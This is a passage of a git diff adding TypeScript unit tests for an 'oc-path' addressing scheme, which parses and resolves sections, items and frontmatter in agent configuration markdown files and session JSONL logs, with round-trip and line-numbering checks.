rs('oc://session-events/L2/result.ok'); + expect(m?.kind).toBe('object-entry'); + if (m?.kind === 'object-entry') { + expect(m.node.value).toMatchObject({ kind: 'boolean', value: true }); + } + }); + + it('resolves $last to the most recent value line', () => { + const m = rs('oc://session-events/$last/event'); + expect(m?.kind).toBe('object-entry'); + if (m?.kind === 'object-entry') { + expect(m.node.value).toMatchObject({ kind: 'string', value: 'end' }); + } + }); + + it('returns null for unknown line addresses', () => { + expect(rs('oc://session-events/L99')).toBeNull(); + expect(rs('oc://session-events/garbage')).toBeNull(); + }); + + it('returns null when descending into a blank line', () => { + expect(rs('oc://session-events/L3/anything')).toBeNull(); + }); +}); + +describe('resolveJsonlToUniversal — file-relative line metadata (regression)', () => { + // Regression: surfaced via the openclaw-path CLI scenario run on + // a multi-line session.jsonl. Every match returned `line: 1` + // because the inside-line jsonc parser numbers from 1 within each + // line's bytes; the universal resolve was preferring that local + // number over the JsonlLine's file-relative line. + + const log = [ + '{"event":"start"}', // line 1 + '{"event":"step","n":1}', // line 2 + '{"event":"step","n":2}', // line 3 + '{"event":"end"}', // line 4 + '', // line 5 (blank) + ].join('\n'); + + it('resolves L2/event with line=2 (not 1)', () => { + const { ast } = parseJsonl(log); + const m = resolveOcPath(ast, parseOcPath('oc://session.jsonl/L2/event')); + expect(m).not.toBeNull(); + if (m !== null) {expect(m.line).toBe(2);} + }); + + it('resolves L4/event with line=4', () => { + const { ast } = parseJsonl(log); + const m = resolveOcPath(ast, parseOcPath('oc://session.jsonl/L4/event')); + expect(m).not.toBeNull(); + if (m !== null) {expect(m.line).toBe(4);} + }); + + it('findOcPaths over wildcard surfaces correct file-relative lines', () => { + const { ast } = parseJsonl(log); + const matches = findOcPaths(ast, parseOcPath('oc://session.jsonl/*/event')); + expect(matches).toHaveLength(4); + const lines = matches.map((m) => m.match.line); + expect(lines).toEqual([1, 2, 3, 4]); + }); +}); diff --git a/src/oc-path/tests/oc-path.test.ts b/src/oc-path/tests/oc-path.test.ts new file mode 100644 index 00000000000..10707c0febb --- /dev/null +++ b/src/oc-path/tests/oc-path.test.ts @@ -0,0 +1,136 @@ +import { describe, expect, it } from 'vitest'; +import { + OcPathError, + formatOcPath, + isValidOcPath, + parseOcPath, +} from '../oc-path.js'; + +describe('parseOcPath', () => { + it('parses file-only path', () => { + expect(parseOcPath('oc://SOUL.md')).toEqual({ file: 'SOUL.md' }); + }); + + it('parses file + section', () => { + expect(parseOcPath('oc://SOUL.md/Boundaries')).toEqual({ + file: 'SOUL.md', + section: 'Boundaries', + }); + }); + + it('parses file + section + item', () => { + expect(parseOcPath('oc://SOUL.md/Boundaries/deny-rule-1')).toEqual({ + file: 'SOUL.md', + section: 'Boundaries', + item: 'deny-rule-1', + }); + }); + + it('parses file + section + item + field', () => { + expect(parseOcPath('oc://SOUL.md/Boundaries/deny-rule-1/risk')).toEqual({ + file: 'SOUL.md', + section: 'Boundaries', + item: 'deny-rule-1', + field: 'risk', + }); + }); + + it('parses session query', () => { + expect(parseOcPath('oc://SOUL.md?session=daily-cron')).toEqual({ + file: 'SOUL.md', + session: 'daily-cron', + }); + }); + + it('rejects missing scheme', () => { + expectOcPathError(() => parseOcPath('SOUL.md'), 'OC_PATH_MISSING_SCHEME'); + }); + + it('rejects empty path after scheme', () => { + expectOcPathError(() => parseOcPath('oc://'), 'OC_PATH_EMPTY'); + }); + + it('rejects empty segment', () => { + expectOcPathError(() => parseOcPath('oc://SOUL.md//deny-rule-1'), 'OC_PATH_EMPTY_SEGMENT'); + }); + + it('rejects too-deep nesting', () => { + expectOcPathError(() => parseOcPath('oc://SOUL.md/a/b/c/d/e'), 'OC_PATH_TOO_DEEP'); + }); + + it('rejects non-string input', () => { + expectOcPathError(() => parseOcPath(123 as unknown as string), 'OC_PATH_NOT_STRING'); + }); +}); + +function expectOcPathError(fn: () => unknown, expectedCode: string): void { + try { + fn(); + expect.fail(`expected OcPathError with code "${expectedCode}" but no error thrown`); + } catch (err) { + expect(err).toBeInstanceOf(OcPathError); + expect((err as OcPathError).code).toBe(expectedCode); + } +} + +describe('formatOcPath', () => { + it('round-trips file-only', () => { + expect(formatOcPath({ file: 'SOUL.md' })).toBe('oc://SOUL.md'); + }); + + it('round-trips full nesting', () => { + expect( + formatOcPath({ + file: 'SOUL.md', + section: 'Boundaries', + item: 'deny-rule-1', + field: 'risk', + }), + ).toBe('oc://SOUL.md/Boundaries/deny-rule-1/risk'); + }); + + it('round-trips session', () => { + expect(formatOcPath({ file: 'SOUL.md', session: 'cron' })).toBe( + 'oc://SOUL.md?session=cron', + ); + }); + + it('rejects empty file', () => { + expectOcPathError(() => formatOcPath({ file: '' }), 'OC_PATH_FILE_REQUIRED'); + }); + + it('rejects item without section', () => { + expectOcPathError(() => formatOcPath({ file: 'F.md', item: 'i' }), 'OC_PATH_NESTING'); + }); +}); + +describe('round-trip', () => { + const cases = [ + 'oc://SOUL.md', + 'oc://SOUL.md/Boundaries', + 'oc://SOUL.md/Boundaries/deny-rule-1', + 'oc://SOUL.md/Boundaries/deny-rule-1/risk', + 'oc://SOUL.md?session=daily', + 'oc://AGENTS.md/Tools/gh/risk', + ]; + for (const input of cases) { + it(`formatOcPath(parseOcPath("${input}")) === "${input}"`, () => { + expect(formatOcPath(parseOcPath(input))).toBe(input); + }); + } +}); + +describe('isValidOcPath', () => { + it('returns true for valid paths', () => { + expect(isValidOcPath('oc://SOUL.md')).toBe(true); + expect(isValidOcPath('oc://SOUL.md/Boundaries')).toBe(true); + }); + + it('returns false for invalid paths', () => { + expect(isValidOcPath('SOUL.md')).toBe(false); + expect(isValidOcPath('oc://')).toBe(false); + expect(isValidOcPath(null)).toBe(false); + expect(isValidOcPath(undefined)).toBe(false); + expect(isValidOcPath(42)).toBe(false); + }); +}); diff --git a/src/oc-path/tests/parse.test.ts b/src/oc-path/tests/parse.test.ts new file mode 100644 index 00000000000..0fa4f9754ba --- /dev/null +++ b/src/oc-path/tests/parse.test.ts @@ -0,0 +1,205 @@ +import { describe, expect, it } from "vitest"; +import { parseMd } from "../parse.js"; + +describe("parseMd — frontmatter", () => { + it("parses simple frontmatter", () => { + const raw = `--- +name: github +description: gh CLI for issues, PRs, runs +--- + +Body text. +`; + const { ast, diagnostics } = parseMd(raw); + expect(diagnostics).toEqual([]); + expect(ast.frontmatter).toEqual([ + { key: "name", value: "github", line: 2 }, + { key: "description", value: "gh CLI for issues, PRs, runs", line: 3 }, + ]); + }); + + it("handles no frontmatter", () => { + const raw = `## First section\n\nContent.\n`; + const { ast } = parseMd(raw); + expect(ast.frontmatter).toEqual([]); + expect(ast.preamble).toBe(""); + expect(ast.blocks.length).toBe(1); + }); + + it("emits diagnostic for unclosed frontmatter", () => { + const raw = `--- +name: github +description: never closes + +Body. +`; + const { diagnostics } = parseMd(raw); + expect(diagnostics).toContainEqual( + expect.objectContaining({ code: "OC_FRONTMATTER_UNCLOSED" }), + ); + }); + + it("strips quotes from values", () => { + const raw = `--- +title: "Hello world" +hint: 'quoted' +--- +`; + const { ast } = parseMd(raw); + expect(ast.frontmatter[0]?.value).toBe("Hello world"); + expect(ast.frontmatter[1]?.value).toBe("quoted"); + }); +}); + +describe("parseMd — H2 blocks", () => { + it("splits sections", () => { + const raw = `Preamble text. + +## First + +Body of first. + +## Second + +Body of second. +`; + const { ast } = parseMd(raw); + expect(ast.preamble.trim()).toBe("Preamble text."); + expect(ast.blocks.length).toBe(2); + expect(ast.blocks[0]?.heading).toBe("First"); + expect(ast.blocks[0]?.slug).toBe("first"); + expect(ast.blocks[1]?.heading).toBe("Second"); + }); + + it("preserves line numbers (1-based)", () => { + const raw = `Line 1 +## Heading at line 2 +Line 3 +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.line).toBe(2); + }); + + it("does NOT split on `## ` inside fenced code blocks", () => { + const raw = `## Real section + +\`\`\`md +## Not a heading +content +\`\`\` + +## Another section +`; + const { ast } = parseMd(raw); + expect(ast.blocks.map((b) => b.heading)).toEqual(["Real section", "Another section"]); + }); +}); + +describe("parseMd — items", () => { + it("extracts plain bullet items", () => { + const raw = `## Boundaries + +- never write to /etc +- always confirm before deleting +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.items.length).toBe(2); + expect(ast.blocks[0]?.items[0]?.text).toBe("never write to /etc"); + expect(ast.blocks[0]?.items[0]?.kv).toBeUndefined(); + }); + + it("extracts kv items", () => { + const raw = `## Tools + +- gh: GitHub CLI +- curl: HTTP client +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.items[0]?.kv).toEqual({ key: "gh", value: "GitHub CLI" }); + expect(ast.blocks[0]?.items[0]?.slug).toBe("gh"); + expect(ast.blocks[0]?.items[1]?.kv).toEqual({ key: "curl", value: "HTTP client" }); + }); + + it("does NOT extract bullets inside fenced code", () => { + const raw = `## Section + +\`\`\` +- not a bullet +\`\`\` + +- real bullet +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.items.length).toBe(1); + expect(ast.blocks[0]?.items[0]?.text).toBe("real bullet"); + }); +}); + +describe("parseMd — tables", () => { + it("extracts a simple table", () => { + const raw = `## Tool Guidance + +| tool | guidance | +| --- | --- | +| gh | use for GitHub | +| curl | HTTP client | +`; + const { ast } = parseMd(raw); + const table = ast.blocks[0]?.tables[0]; + if (!table) { + throw new Error("expected parsed markdown table"); + } + expect(table.headers).toEqual(["tool", "guidance"]); + expect(table.rows.length).toBe(2); + expect(table.rows[0]).toEqual(["gh", "use for GitHub"]); + }); +}); + +describe("parseMd — code blocks", () => { + it("extracts a fenced code block", () => { + const raw = `## Examples + +\`\`\`ts +const x = 1; +\`\`\` +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.codeBlocks[0]).toMatchObject({ + lang: "ts", + text: "const x = 1;", + }); + }); + + it("handles unlanguaged fences", () => { + const raw = `## Block + +\`\`\` +plain text +\`\`\` +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.codeBlocks[0]?.lang).toBeNull(); + }); +}); + +describe("parseMd — byte-fidelity", () => { + it("preserves raw on the AST", () => { + const raw = `---\nname: x\n---\n\n## Sec\n\n- a\n- b\n`; + const { ast } = parseMd(raw); + expect(ast.raw).toBe(raw); + }); + + it("preserves BOM in raw but ignores it for parsing", () => { + const raw = "## Heading\n"; + const { ast } = parseMd(raw); + expect(ast.raw).toBe(raw); + expect(ast.blocks[0]?.heading).toBe("Heading"); + }); + + it("handles CRLF line endings", () => { + const raw = "## Heading\r\n\r\n- item\r\n"; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.heading).toBe("Heading"); + expect(ast.blocks[0]?.items[0]?.text).toBe("item"); + }); +}); diff --git a/src/oc-path/tests/resolve.test.ts b/src/oc-path/tests/resolve.test.ts new file mode 100644 index 00000000000..8b9abd358a0 --- /dev/null +++ b/src/oc-path/tests/resolve.test.ts @@ -0,0 +1,100 @@ +import { describe, expect, it } from 'vitest'; +import { parseMd } from '../parse.js'; +import { resolveMdOcPath as resolveOcPath } from '../resolve.js'; + +const SAMPLE = `--- +name: github +description: gh CLI +--- + +Preamble. + +## Boundaries + +- never write to /etc +- deny: secrets + +## Tools + +- gh: GitHub CLI +- curl: HTTP client +`; + +describe('resolveOcPath', () => { + const { ast } = parseMd(SAMPLE); + + it('resolves root', () => { + const m = resolveOcPath(ast, { file: 'AGENTS.md' }); + expect(m?.kind).toBe('root'); + }); + + it('resolves block by slug', () => { + const m = resolveOcPath(ast, { file: 'AGENTS.md', section: 'boundaries' }); + expect(m?.kind).toBe('block'); + if (m?.kind === 'block') { + expect(m.node.heading).toBe('Boundaries'); + } + }); + + it('resolves item by slug', () => { + const m = resolveOcPath(ast, { + file: 'AGENTS.md', + section: 'tools', + item: 'gh', + }); + expect(m?.kind).toBe('item'); + if (m?.kind === 'item') { + expect(m.node.kv?.value).toBe('GitHub CLI'); + expect(m.block.heading).toBe('Tools'); + } + }); + + it('resolves item-field via kv', () => { + const m = resolveOcPath(ast, { + file: 'AGENTS.md', + section: 'tools', + item: 'gh', + field: 'gh', + }); + expect(m?.kind).toBe('item-field'); + if (m?.kind === 'item-field') { + expect(m.value).toBe('GitHub CLI'); + } + }); + + it('resolves frontmatter via [frontmatter] sentinel section', () => { + const m = resolveOcPath(ast, { + file: 'AGENTS.md', + section: '[frontmatter]', + field: 'name', + }); + expect(m?.kind).toBe('frontmatter'); + if (m?.kind === 'frontmatter') { + expect(m.node.value).toBe('github'); + } + }); + + it('returns null for unknown section', () => { + const m = resolveOcPath(ast, { file: 'AGENTS.md', section: 'nonexistent' }); + expect(m).toBeNull(); + }); + + it('returns null for unknown item', () => { + const m = resolveOcPath(ast, { + file: 'AGENTS.md', + section: 'tools', + item: 'nonexistent', + }); + expect(m).toBeNull(); + }); + + it('returns null for field on non-kv item', () => { + const m = resolveOcPath(ast, { + file: 'AGENTS.md', + section: 'boundaries', + item: 'never-write-to-etc', + field: 'risk', + }); + expect(m).toBeNull(); + }); +}); diff --git a/src/oc-path/tests/scenarios/append-multi-agent.test.ts b/src/oc-path/tests/scenarios/append-multi-agent.test.ts new file mode 100644 index 00000000000..3b45afeb740 --- /dev/null +++ b/src/oc-path/tests/scenarios/append-multi-agent.test.ts @@ -0,0 +1,120 @@ +/** + * Wave 20 — JSONL append + multi-agent session sim. + * + * Substrate guarantee: `appendJsonlOcPath(ast, value)` returns a new AST + * with the value appended as a new line. Single-writer model at the + * substrate; concurrent-append safety lives in the LKG tracker layer + * (PR-4) on top of git's three-way merge. + * + * Append for other kinds (jsonc array push, md item-to-section) was + * removed from the substrate — those are domain operations that ride + * on top of `setXxxOcPath` at the doctor / tracker layer, where the + * value shapes are domain-defined. + */ +import { describe, expect, it } from 'vitest'; +import { emitJsonl } from '../../jsonl/emit.js'; +import { appendJsonlOcPath } from '../../jsonl/edit.js'; +import { parseJsonl } from '../../jsonl/parse.js'; +import type { JsoncValue } from '../../jsonc/ast.js'; + +function event(name: string, n: number): JsoncValue { + return { + kind: 'object', + entries: [ + { key: 'event', line: 0, value: { kind: 'string', value: name } }, + { key: 'n', line: 0, value: { kind: 'number', value: n } }, + ], + }; +} + +describe('wave-20 jsonl append + multi-agent session sim', () => { + it('A-01 single agent appends 100 events in order', () => { + let ast = parseJsonl('').ast; + for (let i = 0; i < 100; i++) { + ast = appendJsonlOcPath(ast, event('step', i)); + } + const lines = emitJsonl(ast).split('\n').filter((l) => l.length > 0); + expect(lines).toHaveLength(100); + expect(JSON.parse(lines[0] ?? '')).toEqual({ event: 'step', n: 0 }); + expect(JSON.parse(lines[99] ?? '')).toEqual({ event: 'step', n: 99 }); + }); + + it('A-02 two agents alternating appends preserve interleave order', () => { + let ast = parseJsonl('').ast; + for (let i = 0; i < 10; i++) { + const agent = i % 2 === 0 ? 'a' : 'b'; + ast = appendJsonlOcPath(ast, event(agent, i)); + } + const lines = emitJsonl(ast).split('\n').filter((l) => l.length > 0); + expect(lines).toHaveLength(10); + for (let i = 0; i < 10; i++) { + const expected = i % 2 === 0 ? 'a' : 'b'; + expect(JSON.parse(lines[i] ?? '').event).toBe(expected); + } + }); + + it('A-03 append after a malformed line preserves both', () => { + let ast = parseJsonl('{"a":1}\nbroken\n').ast; + ast = appendJsonlOcPath(ast, event('start', 1)); + const out = emitJsonl(ast); + expect(out).toContain('broken'); + expect(out).toContain('"event":"start"'); + }); + + it('A-04 append to empty file produces a single value line', () => { + let ast = parseJsonl('').ast; + ast = appendJsonlOcPath(ast, event('first', 0)); + const out = emitJsonl(ast); + expect(JSON.parse(out)).toEqual({ event: 'first', n: 0 }); + }); + + it('A-05 append assigns line numbers monotonically', () => { + let ast = parseJsonl('').ast; + ast = appendJsonlOcPath(ast, event('a', 0)); + ast = appendJsonlOcPath(ast, event('b', 1)); + ast = appendJsonlOcPath(ast, event('c', 2)); + expect(ast.lines.map((l) => l.line)).toEqual([1, 2, 3]); + }); + + it('A-06 append after blank lines preserves line-number gaps correctly', () => { + let ast = parseJsonl('{"a":1}\n\n\n').ast; + ast = appendJsonlOcPath(ast, event('after', 0)); + // Existing lines: L1 value, L2 blank, L3 blank. Appended line is L4. + expect(ast.lines.length).toBe(4); + expect(ast.lines[3]?.line).toBe(4); + }); + + it('A-07 1000-event session sim is deterministic', () => { + let ast = parseJsonl('').ast; + for (let i = 0; i < 1000; i++) { + ast = appendJsonlOcPath(ast, event('e', i)); + } + const lines = emitJsonl(ast).split('\n').filter((l) => l.length > 0); + expect(lines).toHaveLength(1000); + expect(JSON.parse(lines[999] ?? '').n).toBe(999); + }); + + it('A-08 append is non-mutating on the input AST', () => { + const ast = parseJsonl('{"a":1}\n').ast; + const before = JSON.stringify(ast); + appendJsonlOcPath(ast, event('x', 0)); + expect(JSON.stringify(ast)).toBe(before); + }); + + it('A-09 append preserves prior raw bytes (renders new tail)', () => { + let ast = parseJsonl('{"a":1}\n').ast; + ast = appendJsonlOcPath(ast, event('b', 1)); + const out = emitJsonl(ast); + const lines = out.split('\n'); + // First line content unchanged. + expect(lines[0]).toContain('"a":1'); + // Second line is the new event. + expect(JSON.parse(lines[1] ?? '')).toEqual({ event: 'b', n: 1 }); + }); + + it('A-10 deterministic line-number assignment after malformed lines', () => { + let ast = parseJsonl('{"a":1}\nbroken\n{"b":2}\n').ast; + ast = appendJsonlOcPath(ast, event('c', 2)); + expect(ast.lines.map((l) => l.line)).toEqual([1, 2, 3, 4]); + }); +}); diff --git a/src/oc-path/tests/scenarios/byte-fidelity.test.ts b/src/oc-path/tests/scenarios/byte-fidelity.test.ts new file mode 100644 index 00000000000..4d18ddd1df1 --- /dev/null +++ b/src/oc-path/tests/scenarios/byte-fidelity.test.ts @@ -0,0 +1,179 @@ +/** + * Wave 1 — byte-fidelity round-trip. + * + * Substrate guarantee: `emitMd(parse(raw), { mode: 'roundtrip' }) === raw` + * for every input the parser accepts. This wave hammers that. + */ +import { describe, expect, it } from 'vitest'; +import { emitMd } from '../../emit.js'; +import { parseMd } from '../../parse.js'; + +function roundTrip(raw: string): string { + const { ast } = parseMd(raw); + return emitMd(ast); +} + +describe('wave-01 byte-fidelity', () => { + it('B-01 empty file', () => { + expect(roundTrip('')).toBe(''); + }); + + it('B-02 whitespace-only file', () => { + expect(roundTrip(' \n\n \n')).toBe(' \n\n \n'); + }); + + it('B-03 single newline', () => { + expect(roundTrip('\n')).toBe('\n'); + }); + + it('B-04 file without trailing newline', () => { + expect(roundTrip('## H\n- item')).toBe('## H\n- item'); + }); + + it('B-05 file with trailing newline', () => { + expect(roundTrip('## H\n- item\n')).toBe('## H\n- item\n'); + }); + + it('B-06 file with multiple trailing newlines', () => { + expect(roundTrip('## H\n- item\n\n\n')).toBe('## H\n- item\n\n\n'); + }); + + it('B-07 BOM at start', () => { + const raw = '## Heading\n- item\n'; + expect(roundTrip(raw)).toBe(raw); + }); + + it('B-08 CRLF line endings', () => { + const raw = '## H\r\n\r\n- item\r\n'; + expect(roundTrip(raw)).toBe(raw); + }); + + it('B-09 mixed line endings (CRLF + LF)', () => { + const raw = '## H\r\n- item\n- another\r\n'; + expect(roundTrip(raw)).toBe(raw); + }); + + it('B-10 tabs preserved in body', () => { + const raw = '## H\n\n\tindented body\n'; + expect(roundTrip(raw)).toBe(raw); + }); + + it('B-11 trailing whitespace on lines preserved', () => { + const raw = '## Heading \n- item \n'; + expect(roundTrip(raw)).toBe(raw); + }); + + it('B-12 multiple consecutive blank lines preserved', () => { + const raw = '## H\n\n\n\n- item\n'; + expect(roundTrip(raw)).toBe(raw); + }); + + it('B-13 frontmatter only, no body', () => { + const raw = '---\nname: x\n---\n'; + expect(roundTrip(raw)).toBe(raw); + }); + + it('B-14 body only, no frontmatter, no headings', () => { + const raw = 'Just some prose.\nNo structure.\n'; + expect(roundTrip(raw)).toBe(raw); + }); + + it('B-15 frontmatter + body + multiple sections', () => { + const raw = `--- +name: github +description: gh CLI +--- + +Preamble. + +## Boundaries + +- never write to /etc + +## Tools + +- gh: GitHub CLI +- curl: HTTP client +`; + expect(roundTrip(raw)).toBe(raw); + }); + + it('B-16 unicode content preserved', () => { + const raw = '## Café Section\n\n- résumé item\n- 日本語\n'; + expect(roundTrip(raw)).toBe(raw); + }); + + it('B-17 emoji preserved', () => { + const raw = '## 🚀 Launch\n\n- ✅ ready\n- 🔒 secure\n'; + expect(roundTrip(raw)).toBe(raw); + }); + + it('B-18 frontmatter with special chars in values', () => { + const raw = `---\nurl: https://example.com:443/path?q=1&a=2\n---\n`; + expect(roundTrip(raw)).toBe(raw); + }); + + it('B-19 file with mixed bullet markers (-, *, +)', () => { + const raw = '## H\n\n- dash\n* star\n+ plus\n'; + expect(roundTrip(raw)).toBe(raw); + }); + + it('B-20 raw === parse(raw).raw === emitMd(parse(raw)) for 50 random shapes', () => { + const inputs = [ + '', + '\n', + '## A\n', + '## A\n## B\n', + '---\n---\n', + '---\nk: v\n---\n', + '---\nk: v\n---\nbody\n', + '## H\n- a\n- b\n## I\n- c\n', + '\n', + '\r\n', + '\t\n', + 'plain\n', + '`code`\n', + '```\nfence\n```\n', + '```ts\nconst x = 1;\n```\n', + '| a | b |\n| - | - |\n| 1 | 2 |\n', + '> quote\n', + '# H1 not split\n## H2 split\n', + 'preamble\n## block\nbody\n', + 'preamble\n## block\nbody\n## block2\nbody2\n', + '## h\n\n\n\n', + ' ## indented heading (not parsed)\n', + '##NoSpace\n', + '## With trailing spaces \n- item\n', + '## H\n- nested\n - sub\n', + '## H\n\n```md\n## inside code\n```\n', + '---\na: 1\nb: "two"\nc: \'three\'\n---\n', + '---\nopen\nbut no close\n\nbody\n', + 'mixed\r\nline\nendings\r\n', + '---\nname: bom\n---\nbody\n', + '## h\n- k: v\n- k2: v2\n- plain\n', + '## h\n\n| a | b |\n|---|---|\n', + '## h\n```sql\nSELECT 1\n```\n', + '## h\n\n- url: http://x.example.com:80/p?q=1\n', + '## h\n\n- key: value with: colons\n', + '## h\n\n- key: "quoted: value"\n', + '## h\n\n- a-b: c-d\n', + '## h with `inline code`\n', + 'no blocks\nat all\n', + 'No body or section\n\n\n\n', + ' \n \n', + '## h\n## h2\n## h3\n', + '##\n', // empty heading + '## \n', // heading whitespace only + '\n\n## h\n\n\n', + '---\n\n---\n', + '## h\n- \n', // empty bullet + '## h\n\n\n```\nempty fence body\n```\n', + '## h\n```\nunclosed fence', + '## empty section\n## next\n', + '0\n', + ]; + for (const raw of inputs) { + expect(roundTrip(raw), `failed on: ${JSON.stringify(raw.slice(0, 60))}`).toBe(raw); + } + }); +}); diff --git a/src/oc-path/tests/scenarios/code-blocks.test.ts b/src/oc-path/tests/scenarios/code-blocks.test.ts new file mode 100644 index 00000000000..9affc85b79d --- /dev/null +++ b/src/oc-path/tests/scenarios/code-blocks.test.ts @@ -0,0 +1,97 @@ +/** + * Wave 6 — fenced code blocks. + * + * Substrate guarantee: triple-backtick fences (` ``` `) inside H2 blocks + * extract as `AstCodeBlock` with `lang` (or null) and verbatim `text`. + * Code blocks suppress H2-split and item-extraction inside their body. + */ +import { describe, expect, it } from 'vitest'; +import { parseMd } from '../../parse.js'; + +describe('wave-06 code-blocks', () => { + it('CB-01 unlanguaged fence', () => { + const raw = `## H\n\n\`\`\`\nplain text\n\`\`\`\n`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.codeBlocks[0]).toMatchObject({ + lang: null, + text: 'plain text', + }); + }); + + it('CB-02 languaged fence', () => { + const raw = `## H\n\n\`\`\`ts\nconst x = 1;\n\`\`\`\n`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.codeBlocks[0]?.lang).toBe('ts'); + expect(ast.blocks[0]?.codeBlocks[0]?.text).toBe('const x = 1;'); + }); + + it('CB-03 multi-line code body preserved verbatim', () => { + const raw = `## H\n\n\`\`\`ts\nline 1\nline 2\nline 3\n\`\`\`\n`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.codeBlocks[0]?.text).toBe('line 1\nline 2\nline 3'); + }); + + it('CB-04 empty code block', () => { + const raw = `## H\n\n\`\`\`\n\`\`\`\n`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.codeBlocks[0]?.text).toBe(''); + }); + + it('CB-05 code block with `## ` does NOT split as heading', () => { + const raw = `## Real\n\n\`\`\`md\n## Not a heading\n\`\`\`\n\n## Another real\n`; + const { ast } = parseMd(raw); + expect(ast.blocks.map((b) => b.heading)).toEqual(['Real', 'Another real']); + }); + + it('CB-06 code block with `- bullet` does NOT extract as item', () => { + const raw = `## H\n\n\`\`\`\n- not a bullet\n- still not\n\`\`\`\n\n- real bullet\n`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.items.map((i) => i.text)).toEqual(['real bullet']); + }); + + it('CB-07 multiple code blocks in same section', () => { + const raw = `## H\n\n\`\`\`a\nfirst\n\`\`\`\n\n\`\`\`b\nsecond\n\`\`\`\n`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.codeBlocks.length).toBe(2); + expect(ast.blocks[0]?.codeBlocks.map((c) => c.lang)).toEqual(['a', 'b']); + }); + + it('CB-08 unterminated fence — body extends to end of section', () => { + const raw = `## H\n\n\`\`\`\nopen but never closes\n`; + const { ast } = parseMd(raw); + // Behavior: code block is created with whatever was after the open + // fence, including any trailing newline lines. Documents are + // likely malformed; substrate is lenient and preserves what's + // there (verifiable via raw round-trip). + expect(ast.blocks[0]?.codeBlocks[0]?.text).toContain('open but never closes'); + }); + + it('CB-09 fence with leading spaces (4-space indented code)', () => { + // Note: only column-0 ``` triggers fence. Indented content is body + // text. This is the documented behavior. + const raw = `## H\n\n \`\`\`\n indented\n \`\`\`\n`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.codeBlocks).toEqual([]); + }); + + it('CB-10 lang tag with extra whitespace trimmed', () => { + const raw = `## H\n\n\`\`\` jsonc \nbody\n\`\`\`\n`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.codeBlocks[0]?.lang).toBe('jsonc'); + }); + + it('CB-11 lang tag with hyphen / dot (typescript-jsx, c++)', () => { + const raw = `## H\n\n\`\`\`typescript-jsx\nx\n\`\`\`\n`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.codeBlocks[0]?.lang).toBe('typescript-jsx'); + }); + + it('CB-12 fence appearing in preamble (before any H2) is ignored at block layer', () => { + const raw = `\`\`\`\npreamble code\n\`\`\`\n\n## H\n`; + const { ast } = parseMd(raw); + // Preamble code blocks aren't structurally extracted at the + // substrate layer; this is documented. Lint can scan preamble + // raw if needed. + expect(ast.blocks[0]?.codeBlocks).toEqual([]); + }); +}); diff --git a/src/oc-path/tests/scenarios/cross-cutting.test.ts b/src/oc-path/tests/scenarios/cross-cutting.test.ts new file mode 100644 index 00000000000..ab8ab5a93c7 --- /dev/null +++ b/src/oc-path/tests/scenarios/cross-cutting.test.ts @@ -0,0 +1,139 @@ +/** + * Wave 13 — cross-cutting integration. + * + * Pipelines: parse + resolve + emit working together. Slug stability + * across re-parses. OcPath round-trip via the AST (slugs in OcPath + * must round-trip back to the resolved node). + */ +import { describe, expect, it } from 'vitest'; +import { emitMd } from '../../emit.js'; +import { formatOcPath, parseOcPath } from '../../oc-path.js'; +import { parseMd } from '../../parse.js'; +import { resolveMdOcPath as resolveOcPath } from '../../resolve.js'; + +const SAMPLE = `--- +name: github +description: gh CLI +--- + +Preamble. + +## Boundaries + +- never write to /etc +- always confirm + +## Tools + +- gh: GitHub CLI +- curl: HTTP client +`; + +describe('wave-13 cross-cutting', () => { + it('CC-01 parse → resolve → emit pipeline (block)', () => { + const { ast } = parseMd(SAMPLE); + const m = resolveOcPath(ast, { file: 'AGENTS.md', section: 'boundaries' }); + expect(m?.kind).toBe('block'); + expect(emitMd(ast)).toBe(SAMPLE); + }); + + it('CC-02 OcPath round-trip via AST: parse + resolve + format', () => { + const { ast } = parseMd(SAMPLE); + for (const block of ast.blocks) { + const path = parseOcPath(`oc://AGENTS.md/${block.slug}`); + const m = resolveOcPath(ast, path); + expect(m?.kind, `block ${block.slug} should resolve`).toBe('block'); + // Format the same path back; slug → URI shape should be stable. + expect(formatOcPath(path)).toBe(`oc://AGENTS.md/${block.slug}`); + } + }); + + it('CC-03 every item in every block is OcPath-addressable', () => { + const { ast } = parseMd(SAMPLE); + for (const block of ast.blocks) { + for (const item of block.items) { + const path = parseOcPath(`oc://AGENTS.md/${block.slug}/${item.slug}`); + const m = resolveOcPath(ast, path); + expect(m?.kind, `${block.slug}/${item.slug} should resolve`).toBe('item'); + } + } + }); + + it('CC-04 every kv item field is OcPath-addressable', () => { + const { ast } = parseMd(SAMPLE); + for (const block of ast.blocks) { + for (const item of block.items) { + if (!item.kv) {continue;} + const path = parseOcPath( + `oc://AGENTS.md/${block.slug}/${item.slug}/${item.kv.key}`, + ); + const m = resolveOcPath(ast, path); + expect(m?.kind).toBe('item-field'); + } + } + }); + + it('CC-05 every frontmatter entry is OcPath-addressable', () => { + const { ast } = parseMd(SAMPLE); + for (const fm of ast.frontmatter) { + const path = parseOcPath(`oc://AGENTS.md/[frontmatter]/${fm.key}`); + const m = resolveOcPath(ast, path); + expect(m?.kind).toBe('frontmatter'); + } + }); + + it('CC-06 slugs are stable across re-parses (deterministic)', () => { + const a1 = parseMd(SAMPLE).ast; + const a2 = parseMd(SAMPLE).ast; + expect(a1.blocks.map((b) => b.slug)).toEqual(a2.blocks.map((b) => b.slug)); + expect(a1.blocks.map((b) => b.items.map((i) => i.slug))).toEqual( + a2.blocks.map((b) => b.items.map((i) => i.slug)), + ); + }); + + it('CC-07 modifying raw + re-parse produces consistent AST shape', () => { + const a1 = parseMd(SAMPLE).ast; + const modified = SAMPLE.replace('GitHub CLI', 'GitHub command-line interface'); + const a2 = parseMd(modified).ast; + // Block + item count + slugs unchanged. + 